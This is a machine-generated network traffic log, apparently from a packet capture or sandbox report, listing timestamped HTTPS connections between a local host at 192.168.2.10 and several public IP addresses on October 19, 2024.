Oct 19, 2024 00:14:32.263855934 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.263864040 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.263928890 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.264025927 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.264031887 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.264339924 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.264395952 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.264395952 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.264409065 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.307893038 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.327668905 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.327680111 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.330472946 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.382144928 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.382153988 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.382282972 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.382294893 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.382306099 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.382328033 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.382464886 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.382497072 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.382534981 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.382544041 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.382596016 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.382807016 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.383691072 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.383716106 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.383728027 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.383747101 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.383821011 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.383821011 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.383837938 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.388089895 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.388109922 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.391026020 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.391042948 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.391062975 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.391084909 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.391093016 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.391396999 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.391396999 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.391413927 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.392040968 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.392100096 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.392100096 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.392105103 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.393111944 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.393111944 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.399730921 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.399755955 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.399857044 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.400063992 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.400098085 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.434446096 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.506160021 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.506903887 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.506922007 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.507085085 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.507364988 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.507371902 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.507586956 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.507603884 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.508126020 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.508132935 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.523303032 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.530469894 CEST	50033	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.530469894 CEST	50033	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.530478954 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.530488968 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.534008026 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.538460970 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.538460970 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.538469076 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.538480997 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.558067083 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.558084011 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.558110952 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.558193922 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.558233976 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.564212084 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.564222097 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.564244032 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.564302921 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.564331055 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.594841003 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.595166922 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.595182896 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.595495939 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.595796108 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.595849991 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.595944881 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.639398098 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.702460051 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.702476025 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.974033117 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974071026 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974107981 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974111080 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974168062 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974172115 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.974191904 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.974212885 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.974384069 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.974384069 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.974401951 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974410057 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974824905 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974873066 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974925041 CEST	50033	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.974968910 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.974986076 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.975040913 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.975102901 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.975517035 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.975550890 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.975588083 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.975610971 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.976160049 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.976181030 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.976214886 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.976243019 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.976751089 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:32.977145910 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.977169037 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.977205038 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.977232933 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.977262020 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.977327108 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.978070021 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.978128910 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.980534077 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.980556011 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.980730057 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.980737925 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.981389999 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.981389999 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.981408119 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.981417894 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.982765913 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.982861042 CEST	50033	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.982871056 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.982872009 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.984113932 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:32.984141111 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:32.985328913 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:32.985409975 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:32.990813971 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.990842104 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.990952969 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.992019892 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.992028952 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.992340088 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.992656946 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:32.992782116 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:32.993005991 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:32.993021011 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:32.994183064 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.994230032 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.994290113 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.995991945 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.996018887 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:32.996123075 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.996280909 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:32.996299028 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.000605106 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.000619888 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.000756025 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.000777006 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.000902891 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.000915051 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.042279959 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:33.243561029 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.243582010 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.243623972 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.243694067 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.243726969 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.243741035 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.243767977 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.244512081 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.244577885 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.244632959 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.246468067 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.246480942 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.246752024 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.247080088 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.247168064 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.247220039 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.247267962 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.247411966 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:33.247433901 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:33.247474909 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:33.247479916 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:33.247513056 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:33.249576092 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:33.249603987 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:33.250811100 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.250833988 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.251315117 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.251324892 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.258939981 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:33.258976936 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:33.259053946 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:33.259305000 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:33.259315014 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:33.263824940 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.263855934 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.263928890 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.264415979 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.264431000 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.286097050 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.286220074 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.289418936 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.289525032 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.369196892 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.370465040 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.370492935 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.370898008 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.377636909 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.377636909 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.377665997 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.377769947 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.388156891 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.389260054 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.389386892 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.389611959 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.389631987 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.389645100 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.389651060 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.390106916 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.390197992 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.393026114 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.393071890 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.393151045 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.393325090 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.393336058 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.410425901 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.410556078 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.410998106 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.411057949 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.431915045 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.526526928 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.526570082 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.526634932 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.526859045 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:33.526868105 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.531055927 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.531152964 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.531296015 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.531358957 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.532574892 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.532804012 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.652235985 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.652410984 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.652748108 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.652832985 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.652873039 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.652873993 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.653481960 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.653500080 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.692409992 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.692497015 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.694447994 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.695810080 CEST	50038	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.695835114 CEST	443	50038	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.714843988 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.714884996 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.714940071 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.715200901 CEST	50052	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:33.715218067 CEST	443	50052	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:33.718782902 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:33.718811035 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:33.718930960 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:33.719095945 CEST	50053	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:33.719108105 CEST	443	50053	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:33.966552019 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.971191883 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.980020046 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:33.988625050 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:33.997740030 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.009947062 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.025548935 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.025578022 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.041205883 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.041210890 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.041452885 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.041465044 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.042561054 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.088057041 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.096199989 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.127782106 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.150551081 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.160602093 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.160629988 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.160810947 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.160942078 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.161003113 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.161434889 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.161463976 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.161834955 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.161853075 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.161940098 CEST	50048	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.161950111 CEST	443	50048	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.161992073 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.162148952 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.162161112 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.162484884 CEST	50041	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.162492037 CEST	443	50041	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.162683010 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.162689924 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.163065910 CEST	50044	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.163072109 CEST	443	50044	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.163161039 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.163183928 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.163474083 CEST	50043	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.163479090 CEST	443	50043	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.163650990 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.163660049 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.163968086 CEST	50042	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.163974047 CEST	443	50042	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.171421051 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.171577930 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.171660900 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.213022947 CEST	50045	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:34.214469910 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.214505911 CEST	443	50047	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.259953022 CEST	50047	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.262645960 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.283319950 CEST	50049	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:34.283349991 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.283931971 CEST	443	50049	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:34.287550926 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.287655115 CEST	443	50045	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:34.287723064 CEST	50045	443	192.168.2.10	13.107.246.44
